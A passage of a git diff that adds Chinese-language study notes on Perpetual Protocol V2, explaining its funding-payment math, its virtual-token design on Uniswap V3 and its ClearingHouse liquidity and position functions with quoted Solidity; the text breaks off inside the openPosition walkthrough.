+//         max = 2 ^ (255 - 96) = 2 ^ 159 = 7.307508187E47
+//         assume premium = 10000, time = 10 year = 60 * 60 * 24 * 365 * 10 -> twPremium = 3.1536E12
+struct Growth {
+    int256 twPremiumX96;
+    int256 twPremiumDivBySqrtPriceX96;
+}
+```
+
+- `calcLiquidityCoefficientInFundingPaymentByOrder()` 在 Funding.sol，一个 range order 当前的未结算 funding payment
+- 两种 fundings 字段 `fundingBelowX96` 和 `fundingInsideX96`
+  - `fundingBelowX96`: 当价格小于 range lower 时，所累计的 funding growth
+  - `fundingInsideX96`: `equation A - equation B = liquidity * ((G' — E') — (G — E) / sqrt(upper))`
+  - 不需要考虑高于价格区间的情况，因为此时没有 base token 不需要考虑 funding payment
+
+```solidity
+/// @dev the funding payment of an order/liquidity is composed of
+///      1. funding accrued inside the range 2. funding accrued below the range
+///      there is no funding when the price goes above the range, as liquidity is all swapped into quoteToken
+/// @return liquidityCoefficientInFundingPayment the funding payment of an order/liquidity
+function calcLiquidityCoefficientInFundingPaymentByOrder(
+    OpenOrder.Info memory order,
+    Tick.FundingGrowthRangeInfo memory fundingGrowthRangeInfo
+) internal pure returns (int256) {
+    uint160 sqrtPriceX96AtUpperTick = TickMath.getSqrtRatioAtTick(order.upperTick);
+
+    // base amount below the range
+    uint256 baseAmountBelow =
+        LiquidityAmounts.getAmount0ForLiquidity(
+            TickMath.getSqrtRatioAtTick(order.lowerTick),
+            sqrtPriceX96AtUpperTick,
+            order.liquidity
+        );
+    // funding below the range
+    int256 fundingBelowX96 =
+        baseAmountBelow.toInt256().mul(
+            fundingGrowthRangeInfo.twPremiumGrowthBelowX96.sub(order.lastTwPremiumGrowthBelowX96)
+        );
+
+    // liquidity * ((G' — E') — (G — E) / sqrt(upper))
+    // funding inside the range =
+    // liquidity * (ΔtwPremiumDivBySqrtPriceGrowthInsideX96 - ΔtwPremiumGrowthInsideX96 / sqrtPriceAtUpperTick)
+    int256 fundingInsideX96 =
+        order.liquidity.toInt256().mul(
+            // ΔtwPremiumDivBySqrtPriceGrowthInsideX96
+            fundingGrowthRangeInfo
+                .twPremiumDivBySqrtPriceGrowthInsideX96
+                .sub(order.lastTwPremiumDivBySqrtPriceGrowthInsideX96)
+                .sub(
+                // ΔtwPremiumGrowthInsideX96
+                PerpMath.mulDiv(
+                    fundingGrowthRangeInfo.twPremiumGrowthInsideX96.sub(order.lastTwPremiumGrowthInsideX96),
+                    PerpFixedPoint96._IQ96,
+                    sqrtPriceX96AtUpperTick
+                )
+            )
+        );
+
+    return fundingBelowX96.add(fundingInsideX96).div(PerpFixedPoint96._IQ96);
+}
+```
+
+- `OrderBook.getLiquidityCoefficientInFundingPayment()` 是计算一个 maker 所有订单的 funding payment 只和
+
+```solidity
+/// @inheritdoc IOrderBook
+function getLiquidityCoefficientInFundingPayment(
+    address trader,
+    address baseToken,
+    Funding.Growth memory fundingGrowthGlobal
+) external view override returns (int256 liquidityCoefficientInFundingPayment) {
+    bytes32[] memory orderIds = _openOrderIdsMap[trader][baseToken];
+    mapping(int24 => Tick.GrowthInfo) storage tickMap = _growthOutsideTickMap[baseToken];
+    address pool = IMarketRegistry(_marketRegistry).getPool(baseToken);
+
+    // funding of liquidity coefficient
+    (, int24 tick, , , , , ) = UniswapV3Broker.getSlot0(pool);
+    for (uint256 i = 0; i < orderIds.length; i++) {
+        OpenOrder.Info memory order = _openOrderMap[orderIds[i]];
+        Tick.FundingGrowthRangeInfo memory fundingGrowthRangeInfo =
+            tickMap.getAllFundingGrowth(
+                order.lowerTick,
+                order.upperTick,
+                tick,
+                fundingGrowthGlobal.twPremiumX96,
+                fundingGrowthGlobal.twPremiumDivBySqrtPriceX96
+            );
+
+        // the calculation here is based on cached values
+        liquidityCoefficientInFundingPayment = liquidityCoefficientInFundingPayment.add(
+            Funding.calcLiquidityCoefficientInFundingPaymentByOrder(order, fundingGrowthRangeInfo)
+        );
+    }
+
+    return liquidityCoefficientInFundingPayment;
+}
+```
+
+- Funding.sol 合约的 `calcPendingFundingPaymentWithLiquidityCoefficient()` 是计算一个用户总的未结算 funding payment，
+  - 一个用户既可以是 taker 同时也可以是 maker
+  - taker 的 funding payment 再与 maker 部分的 funding payment 相加
+
+```solidity
+function calcPendingFundingPaymentWithLiquidityCoefficient(
+    int256 baseBalance,
+    int256 twPremiumGrowthGlobalX96,
+    Growth memory fundingGrowthGlobal,
+    int256 liquidityCoefficientInFundingPayment
+) internal pure returns (int256) {
+    int256 balanceCoefficientInFundingPayment =
+        PerpMath.mulDiv(
+            baseBalance,
+            fundingGrowthGlobal.twPremiumX96.sub(twPremiumGrowthGlobalX96),
+            uint256(PerpFixedPoint96._IQ96)
+        );
+
+    return
+        liquidityCoefficientInFundingPayment.add(balanceCoefficientInFundingPayment).div(_DEFAULT_FUNDING_PERIOD);
+}
+```
+
+- `Exchange.getPendingFundingPayment()` 计算一个用户总的未结算 funding payment，内部调用 `getLiquidityCoefficientInFundingPayment` 和 `calcPendingFundingPaymentWithLiquidityCoefficient` 来计算 maker 和 taker 部分的 funding payment
+
+```solidity
+/// @inheritdoc IExchange
+function getPendingFundingPayment(address trader, address baseToken) public view override returns (int256) {
+    (Funding.Growth memory fundingGrowthGlobal, , ) = _getFundingGrowthGlobalAndTwaps(baseToken);
+
+    int256 liquidityCoefficientInFundingPayment =
+        IOrderBook(_orderBook).getLiquidityCoefficientInFundingPayment(trader, baseToken, fundingGrowthGlobal);
+
+    return
+        Funding.calcPendingFundingPaymentWithLiquidityCoefficient(
+            IAccountBalance(_accountBalance).getBase(trader, baseToken),
+            IAccountBalance(_accountBalance).getAccountInfo(trader, baseToken).lastTwPremiumGrowthGlobalX96,
+            fundingGrowthGlobal,
+            liquidityCoefficientInFundingPayment
+        );
+}
+```
+
+> 当用户没有参与做市 `IOrderBook.getLiquidityCoefficientInFundingPayment()` 返回的是空数组，此时就只有 taker 部分的 funding payment。
+
+## Reference
+
+- Block-based Funding Payment On Perp v2: <https://blog.perp.fi/block-based-funding-payment-on-perp-v2-35527094635e>
+- How Block-based Funding Payments are Implemented On Perp v2: <https://blog.perp.fi/how-block-based-funding-payment-is-implemented-on-perp-v2-20cfd5057384>
+- Perp v2: A Numerical Example of Block-based Funding (with quote-only fee) of Makers: <https://perp.notion.site/Perp-v2-A-Numerical-Example-of-Block-based-Funding-with-quote-only-fee-of-Makers-7a14853db070481690af34ff17722f0b>
+- Calculation of makers' Open Interest: <https://perp.notion.site/Calculation-of-makers-Open-Interest-fe6a4563f00d4b10805b4376d98b7833>
diff --git a/defi/Perpetual-V2/README.md b/defi/Perpetual-V2/README.md
new file mode 100644
index 000000000..8bf8b0994
--- /dev/null
+++ b/defi/Perpetual-V2/README.md
@@ -0,0 +1,117 @@
+# Perpetual V2
+
+「Curie」的颠覆性创新正是摆脱流动性依赖的关键，能够更大的提升资金的使用效率,将永续协议的 vAMM 模型与 Uniswap V3 耦合，经济模型与机制逻辑放在永续协议上，通过 Uniswap V3 进行交易的执行层。
+
+## 合约地址
+[合约结构](https://perp.notion.site/Curie-Docs-for-Partners-a2c316abfc1549c7b4d6e310d7a3987d#c20cf392b22142c3b33fa7e48b293c68) 
+Smart contract addresses list: <https://v2docs.perp.fi/for-developers/smart-contract-addresses>
+
+optimistic address:
+
+- Exchange proxy `0xbd7a3b7dbeb096f0b832cf467b94b091f30c34ec`
+- Clearinghouse proxy `0x82ac2ce43e33683c58be4cdc40975e73aa50f459`
+- Vault proxy `0xad7b4c162707e0b2b5f6fddbd3f8538a5fba0d60`
+- Insurance Fund proxy `0x1C9a192DF3936cBF093d8afDc352718bCF834EB6`
+
+## 设计方案
+
+- Perp V2 的聚合流动性依托于 Uniswap V3，V1 中原有的 vAMM 逻辑在 Uniswap V3 上运行。提高资金利用率。
+
+- Perp V1 版本 USDC 是真实资产，而对应资产（ETH）是 vault 池子是虚拟的。
+  Perp V2 在 Uniswap V3 上以 v-Token 创建池子，比如 vUSDC/vETH，v-token 是 Perpetual Protocol 系统生成的代币，目前仅用于 Perp 系统内的做市和交易等，这些池子真实的建立在目前的 Uniswap 架设在 Optimistic 的 Uniswap V3 上，pool 是真实的 Uniswap v3 pool (vToken 交易对)。
+
+- Perp v1 中不需要做市（没有 maker ）， Perp V2 中为 LP 提供杠杆，称为「Leveraged LPs」（杠杆 LP）
+  若 LP 向清算所（Clearing House）提供 1,000 USDC 进行做市，则 Leveraged LPs 功能可以在 10 倍范围内添加 vUSDC，这 10,000 vUSDC 就成为 LP 可以在系统内放置流动性的总额度（也称为“信用”），LP 可以将其添加到相应资产和区间上，比如可以分为 5,000 vUSDC 和价值 5,000 vUSDC 的 vETH，添加到相应流动性池中。（按 oracle 价格兑换）
+  在 LP 确定了对相应资产的分配额度后，系统铸造相应 v-token，按照上述例子，系统铸造 5,000 vUSDC 和价值 5,000 vUSDC 的 2 vETH（按照 ETH 价格 2,500 美金计算），LP 可以按照自己的做市策略将这些 v-token 分配到 Uniswap V3 上的相应区间。
+
+## Perp V2 Technical Details
+
+> Perp V2 Technical Details: <https://docs.google.com/document/d/e/2PACX-1vRDdN03IvJFRMLolxBl4Np7OpzmniMXmJO0zQJNmndD1vL3YZ46bVgTc9VTy8KdCD4ZrnwYz7agbJJN/pub>
+
+### V2 changes
+
+![V1 vs V2 Architecture](https://lh4.googleusercontent.com/RzvqmS7m0ewJxQW2dXy4_deYZd2fJDkUjjHZpPR215wlR6fsnwWN4lU2nvtmJRBPT1Ug2qxmFyCBDbiHGsZleRyVY8UcnSdnjUM06LVq_0fN9gBH8x9qPFJ5CfhJBz2eJeMWOtfFmlhH5x4Xug)
+
+V1 vs V2 Architecture
+
+由于 V2 相较于 V1 最大的改动在于 vAMM 替换成了 Uniswap V3，所以用于记账的 virtual tokens (例如 vUSDC, vETH) 从原先的全价格区间分布，变成了不同价格区间的分布 (本质上就是 Uni V2 和 V3 的差别)。
+
+其他的不同：
+
+- limit order 现价单
+- cross margin 交叉保证金（多头寸共用抵押资产）
+
+### Scenario 1 - Taker Opens a Long Position
+
+![V2 Alice opens a Long Position](https://lh3.googleusercontent.com/M0zPnKBHu0C7s93PrTP3qvULoz2vnqYEuC8EkJ0PPwDLZ_N8w_d3UaObMZ5Ok3x7SJHRsgiX3splorrk59yCLgPaAKR5aXbJF4tIiQsf0WIVbLizJgh3L_3o3Ts8GkPJ1VWD8P8Kf9KZW0cN8w)
+
+Cleaninghouse 在 Alice 开仓时做了以下操作：
+
+1. `Mint virtual tokens` Alice 做多，所以 mint vUSDC，如果她做空，mint vETH
+2. `Store a cost basis` cost basis 是计算 Alice 实际损益情况的一个重要概念
+3. `Swap tokens` Clearinghouse 将相应的 virtual tokens 进行 swap (from vUSDC to vETH)
+
+此时 Alice 拥有：
+
+- 1.96 vETH (由 Clearinghouse 保管)
+- Cost basis 200 vUSDC (开仓的基础成本 vToken)
+- Vault 中存入了 100 USDC (真正投入的 token)
+
+假设一段时间后 ETH 价格已经上涨，Alice 想要平仓。
+
+![V2 Alice closes her Long Position](https://lh6.googleusercontent.com/bG6HMcjmo0ZpOQH5vcKoSCZv_9NLM92HHTXwHYWfUtJ9VLAroxBycedED0g_FzokopKTAjzzriV-b5jNre0U-03Mtp_pjKCrQhvmd2PDP3gqdOQNGzIkP_UontkDu4UnK_yEZu_rRIwAQ9m4Iw)
+
+最终 Alice 的 PnL (Profit and Loss) 是她持有的 vUSDC 减去她在 vUSDC 中的 cost basis 。最后，Vault 将她的抵押品连同她的 PnL 转回 Alice：
+
+- `PnL = vUSDC - cost basis = 220 - 200 = 20`
+- `Alice receives = collateral + PnL = 100 + 20 = 120`
+
+### Providing Liquidity
+
+不同于 v1，做市商提供流动性需要选择做市的价格区间(Uniswap V3 的区间做市机制)，分三种情况：
+
+1. 价格区间低于当前价格，market maker 提供的都是 vUSDC，相当于在该价格区间挂出买单
+2. 价格区间包含当前价格，market maker 同时提供 vUSDC, vETH, 根据当前价格决定两者的比例
+3. 价格区间高于当前价格，market maker 提供的都是 vETH，相当于在该价格区间挂出卖单
+
+### Scenario 2 - Providing Liquidity Above Mark Price
+
+Alice 希望用 100 USDC 做市，以 2x 杠杆在高于当前价格的区间提供流动性：
+
+![V2 Alice Provides Liquidity above the current price](https://lh3.googleusercontent.com/MXI4pJnDNod-GY6jQdo7cAiKBNp8yfxgR8qLjEXT_GIaDYvKEQSvsb0UsGW8UPbB1zwdEPuTOFH0in9itCSZoD4FgB4O3qk17NF6W_pFGsx1_qAqeF0ZMS9KaEAMRmncctwu8FiVvGscr3VUhw)
+
+Clearinghouse 将会 mint vETH 并将其注入 Uni v3 AMM。简单起见，我们假设 Alice 是唯一的流动性提供者，后来 Bob 做多 1.96 vETH，将 200 vUSDC 存入池中并获得 1.96 个 vETH。 Alice 现在只有 0.04 个 vETH，但持有 200 个 vUSDC。
+
+假设在以下场景中 Alice 是唯一流动性提供者。对于常规情况，不止一位流动性提供者（market maker），Alice 的头寸将与其他流动性提供者按比例提供流动性。
+
+| Action                   | Alice        |               |               |                | Bob          |               |               |                |
+| ------------------------ | ------------ | ------------- | ------------- | -------------- | ------------ | ------------- | ------------- | -------------- |
+|                          | vETH Balance | vUSDC Balance | vETH Movement | vUSDC Movement | vETH Balance | vUSDC Balance | vETH Movement | vUSDC Movement |
+| Alice provides liquidity | 2            | 0             | \-            | \-             | \-           | \-            | \-            | \-             |
+| Bob longs 1.96 ETH       | 0.04         | 200           | \-1.96        | +200           | 1.96         | 0             | +1.96         | \-200          |
+
+值得注意的是，Alice 现在拥有一个 -1.96 ETH 头寸(因为她拥有 0.04 vETH 和 cost basis 2 vETH)。她仍可以继续提供流动性，随着交易者与她提供的流动性买卖，她的头寸组成数量 (vETH, vUSDC) 也将发生变化。
+
+对于不想做市而只想下限价单的用户，这里还有一个额外的选择。假设 Alice 只想挂出一个限价单卖出 ETH 但不想做市，可以等她的限价单完成后撤出流动性。
+
+### Scenario 3 - Adding Liquidity Around the Mark Price
+
+与 Scenario 2 稍有不同, Alice 提供流动性的价格区间包含当前价格
+
+![V2 Alice provides Liquidity within the current bounts](https://lh4.googleusercontent.com/1E-flO5PncNQhU2LOliKhO6v_2srOTgxiT_5Kf5UgPzUCJPTmwfxMS0Wv2xfAv8_stwcBOr6GT_BWCOnW6Tr2J1qnd8wq_InUHWwke5o7q8AZMqF2Yb4Ylf6QZEoU9zFg074M9L3lLIpFeOXKg)
+
+此时 Alice 提供流动性相当于同时挂出了一部分买单和一部分卖单， Clearninghouse 同时 mint vETH 和 vUSDC。注意，Alice 想以 2x 杠杆参与做市，我们不是直接mint 2 vETH，而是 1 vETH 和 100 vUSDC (假设 1 ETH = 100 USDC，两者价值之和为 200 vUSDC)。
+
+## Funding Payment
+
+-[Block-basedFundingPayments.md](./Block-basedFundingPayments.md)
+
+## Reference
+
+- A Complete Guide to Perpetual Protocol V2: <https://blocmates.com/blogmates/perpetualprotocol/>
+- Perpetual Protocol v2: <https://blog.perp.fi/perpetual-protocol-v2-is-live-on-optimism-mainnet-5b9520bc02a2>
+- LP 做市：<https://perp.com/lp>
+- 永续合约套利：<https://open.163.com/newview/movie/courseintro?newurl=M8DOH67K8>
+- V2 notion 文档：<https://v2docs.perp.fi/for-makers/use-a-strategy-provider>
+- Perp V2 gitbook: <https://perpetual-protocol.github.io/lushan-docs/docs/ContractOverview>
+- Curie Docs for Partners: <https://perp.notion.site/Curie-Docs-for-Partners-a2c316abfc1549c7b4d6e310d7a3987d>
diff --git a/defi/Perpetual-V2/contracts/ClearningHouse.md b/defi/Perpetual-V2/contracts/ClearningHouse.md
new file mode 100644
index 000000000..72dd5fadf
--- /dev/null
+++ b/defi/Perpetual-V2/contracts/ClearningHouse.md
@@ -0,0 +1,1078 @@
+# ClearningHouse
+
+清算所，用户交互的主要合约，包含添加移除流动性，开仓多空头寸，清算等 perp 核心业务功能。
+
+用户仓位记录
+```
+library AccountMarket {
+    /// @param lastTwPremiumGrowthGlobalX96 the last time weighted premiumGrowthGlobalX96
+    struct Info {
+        int256 takerPositionSize;
+        int256 takerOpenNotional;
+        int256 lastTwPremiumGrowthGlobalX96;
+    }
+}
+```
+可以看出，由于全仓保证金模式，只记录用户仓位和开仓成本，以资金费率系数即可。  
+
+## Non-view functions
+
+### \_settleFunding
+
+1. 更新用户的未结算的 funding payment 和 全局累计变量 `fundingGrowthGlobal`
+2. 如果未结算的 funding payment 不为 0，将其累加到用户的 Pnl 中
+3. 更新用户的 `lastTwPremiumGrowthGlobalX96` 变量
+
+```solidity
+/// @dev Settle trader's funding payment to his/her realized pnl.
+function _settleFunding(address trader, address baseToken)
+    internal
+    returns (Funding.Growth memory fundingGrowthGlobal)
+{
+    int256 fundingPayment;
+    (fundingPayment, fundingGrowthGlobal) = IExchange(_exchange).settleFunding(trader, baseToken);
+
+    if (fundingPayment != 0) {
+        _modifyOwedRealizedPnl(trader, fundingPayment.neg256());
+        emit FundingPaymentSettled(trader, baseToken, fundingPayment);
+    }
+
+    IAccountBalance(_accountBalance).updateTwPremiumGrowthGlobal(
+        trader,
+        baseToken,
+        fundingGrowthGlobal.twPremiumX96
+    );
+    return fundingGrowthGlobal;
+}
+```
+
+### \_modifyOwedRealizedPnl
+
+更新用户的 Pnl (Profit and Loss)
+
+```solidity
+// ClearningHouse.sol
+function _modifyOwedRealizedPnl(address trader, int256 amount) internal {
+    IAccountBalance(_accountBalance).modifyOwedRealizedPnl(trader, amount);
+}
+
+// AccountBalance.sol
+
+// trader => owedRealizedPnl
+mapping(address => int256) internal _owedRealizedPnlMap;
+
+/// @inheritdoc IAccountBalance
+function modifyOwedRealizedPnl(address trader, int256 amount) external override {
+    _requireOnlyClearingHouse();
+    _modifyOwedRealizedPnl(trader, amount);
+}
+
+function _modifyOwedRealizedPnl(address trader, int256 amount) internal {
+    if (amount != 0) {
+        _owedRealizedPnlMap[trader] = _owedRealizedPnlMap[trader].add(amount);
+        emit PnlRealized(trader, amount);
+    }
+}
+```
+
+### addLiquidity
+
+指定 baseToken (quoteToken 固定是 USDC) 向对应的 virtual token 交易对池子添加流动性，参与做市。
+
+1. 入参检查
+   - base token 必须在市场列表中
+2. `_settleFunding()` 结算之前累计的 funding payment, 更新全局累计变量
+3. `OrderBook.addLiquidity()` 向 UniV3 pool 添加流动性(v-token)，由于 `UniswapV3MintCallback` 回调函数中会进行余额检查和转账操作，所以这里不需要提前检查余额
+4. 如果选择使用 taker 仓位参与做市
+   - 不能在 price 处于 range 之内使用 take 仓位作为流动性添加
+   - 将 take 部分的仓位移入流动性
+   - `takerOpenNotional` 移除之前的仓位价值 (Position size \* Mark Price)
+   - `removedPositionSize / takerPositionSize` 移除的仓位数量 比 总仓位数量
+   - 移除后的仓位价值 `removedOpenNotional = takerOpenNotional * removedPositionSize / takerPositionSize`
+   - 更新 order 的债务 [OrderBook.updateOrderDebt](./OrderBook.md#updateorderdebt), 将新增流动性累加到 debt 字段上；由于添加 pool 中的流动性都是 v-token，都属于用户的负债；
+   - 更新 taker balance，从中扣除添加流动性部分
+5. 更新用户 Pnl
+6. 检查用户抵押是否充足
+
+```solidity
+// IClearingHouse.osl
+
+/// @param useTakerBalance only accept false now
+struct AddLiquidityParams {
+    address baseToken;
+    uint256 base;
+    uint256 quote;
+    int24 lowerTick;
+    int24 upperTick;
+    uint256 minBase;
+    uint256 minQuote;
+    bool useTakerBalance;
+    uint256 deadline;
+}
+
+// ClearingHouse.osl
+
+/// @inheritdoc IClearingHouse
+function addLiquidity(AddLiquidityParams calldata params)
+    external
+    override
+    whenNotPaused
+    nonReentrant
+    checkDeadline(params.deadline)
+    returns (AddLiquidityResponse memory)
+{
+    // input requirement checks:
+    //   baseToken: in Exchange.settleFunding()
+    //   base & quote: in LiquidityAmounts.getLiquidityForAmounts() -> FullMath.mulDiv()
+    //   lowerTick & upperTick: in UniswapV3Pool._modifyPosition()
+    //   minBase, minQuote & deadline: here
+
+    _checkMarketOpen(params.baseToken);
+
+    // CH_DUTB: Disable useTakerBalance
+    require(!params.useTakerBalance, "CH_DUTB");
+
+    address trader = _msgSender();
+    // register token if it's the first time
+    IAccountBalance(_accountBalance).registerBaseToken(trader, params.baseToken);
+
+    // must settle funding first
+    Funding.Growth memory fundingGrowthGlobal = _settleFunding(trader, params.baseToken);
+
+    // note that we no longer check available tokens here because CH will always auto-mint in UniswapV3MintCallback
+    IOrderBook.AddLiquidityResponse memory response =
+        IOrderBook(_orderBook).addLiquidity(
+            IOrderBook.AddLiquidityParams({
+                trader: trader,
+                baseToken: params.baseToken,
+                base: params.base,
+                quote: params.quote,
+                lowerTick: params.lowerTick,
+                upperTick: params.upperTick,
+                fundingGrowthGlobal: fundingGrowthGlobal
+            })
+        );
+
+    // CH_PSCF: price slippage check fails
+    require(response.base >= params.minBase && response.quote >= params.minQuote, "CH_PSCF");
+
+    // if !useTakerBalance, takerBalance won't change, only need to collects fee to oweRealizedPnl
+    if (params.useTakerBalance) {
+        bool isBaseAdded = response.base != 0;
+
+        // can't add liquidity within range from take position
+        require(isBaseAdded != (response.quote != 0), "CH_CALWRFTP");
+
+        AccountMarket.Info memory accountMarketInfo =
+            IAccountBalance(_accountBalance).getAccountInfo(trader, params.baseToken);
+
+        // the signs of removedPositionSize and removedOpenNotional are always the opposite.
+        int256 removedPositionSize;
+        int256 removedOpenNotional;
+        if (isBaseAdded) {
+            // taker base not enough
+            require(accountMarketInfo.takerPositionSize >= response.base.toInt256(), "CH_TBNE");
+
+            removedPositionSize = response.base.neg256();
+
+            // move quote debt from taker to maker:
+            // takerOpenNotional(-) * removedPositionSize(-) / takerPositionSize(+)
+
+            // overflow inspection:
+            // Assume collateral is 2.406159692E28 and index price is 1e-18
+            // takerOpenNotional ~= 10 * 2.406159692E28 = 2.406159692E29 --> x
+            // takerPositionSize ~= takerOpenNotional/index price = x * 1e18 = 2.4061597E38
+            // max of removedPositionSize = takerPositionSize = 2.4061597E38
+            // (takerOpenNotional * removedPositionSize) < 2^255
+            // 2.406159692E29 ^2 * 1e18 < 2^255
+            removedOpenNotional = accountMarketInfo.takerOpenNotional.mul(removedPositionSize).div(
+                accountMarketInfo.takerPositionSize
+            );
+        } else {
+            // taker quote not enough
+            require(accountMarketInfo.takerOpenNotional >= response.quote.toInt256(), "CH_TQNE");
+
+            removedOpenNotional = response.quote.neg256();
+
+            // move base debt from taker to maker:
+            // takerPositionSize(-) * removedOpenNotional(-) / takerOpenNotional(+)
+            // overflow inspection: same as above
+            removedPositionSize = accountMarketInfo.takerPositionSize.mul(removedOpenNotional).div(
+                accountMarketInfo.takerOpenNotional
+            );
+        }
+
+        // update orderDebt to record the cost of this order
+        IOrderBook(_orderBook).updateOrderDebt(
+            OpenOrder.calcOrderKey(trader, params.baseToken, params.lowerTick, params.upperTick),
+            removedPositionSize,
+            removedOpenNotional
+        );
+
+        // update takerBalances as we're using takerBalances to provide liquidity
+        (, int256 takerOpenNotional) =
+            IAccountBalance(_accountBalance).modifyTakerBalance(
+                trader,
+                params.baseToken,
+                removedPositionSize,
+                removedOpenNotional
+            );
+
+        uint256 sqrtPrice = _getSqrtMarkTwapX96(params.baseToken, 0);
+        _emitPositionChanged(
+            trader,
+            params.baseToken,
+            removedPositionSize, // exchangedPositionSize
+            removedOpenNotional, // exchangedPositionNotional
+            0, // fee
+            takerOpenNotional, // openNotional
+            0, // realizedPnl
+            sqrtPrice
+        );
+    }
+
+    // fees always have to be collected to owedRealizedPnl, as long as there is a change in liquidity
+    _modifyOwedRealizedPnl(trader, response.fee.toInt256());
+
+    // after token balances are updated, we can check if there is enough free collateral
+    _requireEnoughFreeCollateral(trader);
+
+    emit LiquidityChanged(
+        trader,
+        params.baseToken,
+        _quoteToken,
+        params.lowerTick,
+        params.upperTick,
+        response.base.toInt256(),
+        response.quote.toInt256(),
+        response.liquidity.toInt128(),
+        response.fee
+    );
+
+    return
+        AddLiquidityResponse({
+            base: response.base,
+            quote: response.quote,
+            fee: response.fee,
+            liquidity: response.liquidity
+        });
+}
+```
+
+### removeLiuqidity
+
+移除指定的流动性(base token, 价格边界，流动性数量，最小获得的 token 数量)
+
+1. 入参检查
+   - base token 必须在市场列表中
+2. `_settleFunding()` 结算之前累计的 funding payment, 更新全局累计变量
+3. `IOrderBook.removeLiquidity` 从 Uniswap V3 pool 中移除指定流动性
+4. 由于做市会有被动的资产变动(受 taker 交易影响)，所以在操作流动性之前，需要先将未结算的 Pnl 结算掉 [`_settleBalanceAndRealizePnl`](#_settleBalanceAndRealizePnl)
+
+```solidity
+/// @param liquidity collect fee when 0
+struct RemoveLiquidityParams {
+    address baseToken;
+    int24 lowerTick;
+    int24 upperTick;
+    uint128 liquidity;
+    uint256 minBase;
+    uint256 minQuote;
+    uint256 deadline;
+}
+
+
+/// @inheritdoc IClearingHouse
+function removeLiquidity(RemoveLiquidityParams calldata params)
+    external
+    override
+    whenNotPaused
+    nonReentrant
+    checkDeadline(params.deadline)
+    returns (RemoveLiquidityResponse memory)
+{
+    // input requirement checks:
+    //   baseToken: in Exchange.settleFunding()
+    //   lowerTick & upperTick: in UniswapV3Pool._modifyPosition()
+    //   liquidity: in LiquidityMath.addDelta()
+    //   minBase, minQuote & deadline: here
+
+    // CH_MP: Market paused
+    require(!IBaseToken(params.baseToken).isPaused(), "CH_MP");
+
+    address trader = _msgSender();
+
+    // must settle funding first
+    _settleFunding(trader, params.baseToken);
+
+    IOrderBook.RemoveLiquidityResponse memory response =
+        IOrderBook(_orderBook).removeLiquidity(
+            IOrderBook.RemoveLiquidityParams({
+                maker: trader,
+                baseToken: params.baseToken,
+                lowerTick: params.lowerTick,
+                upperTick: params.upperTick,
+                liquidity: params.liquidity
+            })
+        );
+
+    int256 realizedPnl = _settleBalanceAndRealizePnl(trader, params.baseToken, response);
+
+    // CH_PSCF: price slippage check fails
+    require(response.base >= params.minBase && response.quote >= params.minQuote, "CH_PSCF");
+
+    emit LiquidityChanged(
+        trader,
+        params.baseToken,
+        _quoteToken,
+        params.lowerTick,
+        params.upperTick,
+        response.base.neg256(),
+        response.quote.neg256(),
+        params.liquidity.neg128(),
+        response.fee
+    );
+
+    uint256 sqrtPrice = _getSqrtMarkTwapX96(params.baseToken, 0);
+    int256 openNotional = _getTakerOpenNotional(trader, params.baseToken);
+    _emitPositionChanged(
+        trader,
+        params.baseToken,
+        response.takerBase, // exchangedPositionSize
+        response.takerQuote, // exchangedPositionNotional
+        0,
+        openNotional,
+        realizedPnl, // realizedPnl
+        sqrtPrice
+    );
+
+    return RemoveLiquidityResponse({ quote: response.quote, base: response.base, fee: response.fee });
+}
+```
+
+### openPosition
+
+开仓接口
+
+`struct OpenPositionParams`:
+
+- `baseToken` base token address
+- `isBaseToQuote` if true B2Q, false Q2B (B2Q: base toen -> quote token; Q2B: quote toen -> base token;)
+- `amount` swap amount
+- `oppositeAmountBound` 交易的最小输出数量 或者 交易的最大输入数量，视情况而定
+- `deadline`
+- `sqrtPriceLimitX96` 由于 perp 使用的 vAMM 并不会对真实的交易对价格产生影响，因此需要对波动率设定限制，此为限定的价格限制
+- `referralCode` 用于计算返佣的代码
+
+| direction | in which term | isBaseToQuote | exactInput | oppositeAmountBound         | sqrtPriceLimitX96      |
+| --------- | ------------- | ------------- | ---------- | --------------------------- | ---------------------- |
+| short     | quote token   | true (B2Q)    | false      | upper bound of input base   | cannot be less than    |
+| long      | quote token   | false (Q2B)   | true       | lower bound of output base  | cannot be greater than |
+| short     | base token    | true (B2Q)    | true       | lower bound of output quote | cannot be less than    |
+| long      | base token    | false (Q2B)   | false      | upper bound of input quote  | cannot be greater than |
+
+- swap accounting figma graph: <https://www.figma.com/file/xuue5qGH4RalX7uAbbzgP3/swap-accounting-%26-events?node-id=0%3A1>
+
+example: 开仓时，若以 USDC 计价 (quote token)，做空
+
+- 先借出 base token，再通过 swap 换成 quote token
+- 我们已知 quote token 数量，所以需要使用 exactOutput 接口来交易，固 exactInput 是 false
+
+```solidity
+/// @param oppositeAmountBound
+// B2Q + exact input, want more output quote as possible, so we set a lower bound of output quote
+// B2Q + exact output, want less input base as possible, so we set a upper bound of input base
+// Q2B + exact input, want more output base as possible, so we set a lower bound of output base
+// Q2B + exact output, want less input quote as possible, so we set a upper bound of input quote
+// when it's set to 0, it will disable slippage protection entirely regardless of exact input or output
+// when it's over or under the bound, it will be reverted
+/// @param sqrtPriceLimitX96
+// B2Q: the price cannot be less than this value after the swap
+// Q2B: the price cannot be greater than this value after the swap
+// it will fill the trade until it reaches the price limit but WON'T REVERT
+// when it's set to 0, it will disable price limit;
+// when it's 0 and exact output, the output amount is required to be identical to the param amount
+struct OpenPositionParams {
+    address baseToken;
+    bool isBaseToQuote;
+    bool isExactInput;
+    uint256 amount;
+    uint256 oppositeAmountBound;
+    uint256 deadline;
+    uint160 sqrtPriceLimitX96;
+    bytes32 referralCode;
+}
+```
+
+开仓函数：
+
+1. 检查 base token 是否处于 open 状态，若不是将其注册进 market
+2. 处理未结算的 funding payment
+3. `_openPosition` 实际的开仓操作函数
+4. 检查开仓之后的滑点情况，根据 `oppositeAmountBound` 入参来判断交易是否满足滑点要求，否则 revert
+5. 发送 `referralCode` 事件，便于计算返佣
+
+```solidity
+/// @inheritdoc IClearingHouse
+function openPosition(OpenPositionParams memory params)
+    external
+    override
+    whenNotPaused
+    nonReentrant
+    checkDeadline(params.deadline)
+    returns (uint256 base, uint256 quote)
+{
+    // input requirement checks:
+    //   baseToken: in Exchange.settleFunding()
+    //   isBaseToQuote & isExactInput: X
+    //   amount: in UniswapV3Pool.swap()
+    //   oppositeAmountBound: in _checkSlippage()
+    //   deadline: here
+    //   sqrtPriceLimitX96: X (this is not for slippage protection)
+    //   referralCode: X
+
+    _checkMarketOpen(params.baseToken);
+
+    address trader = _msgSender();
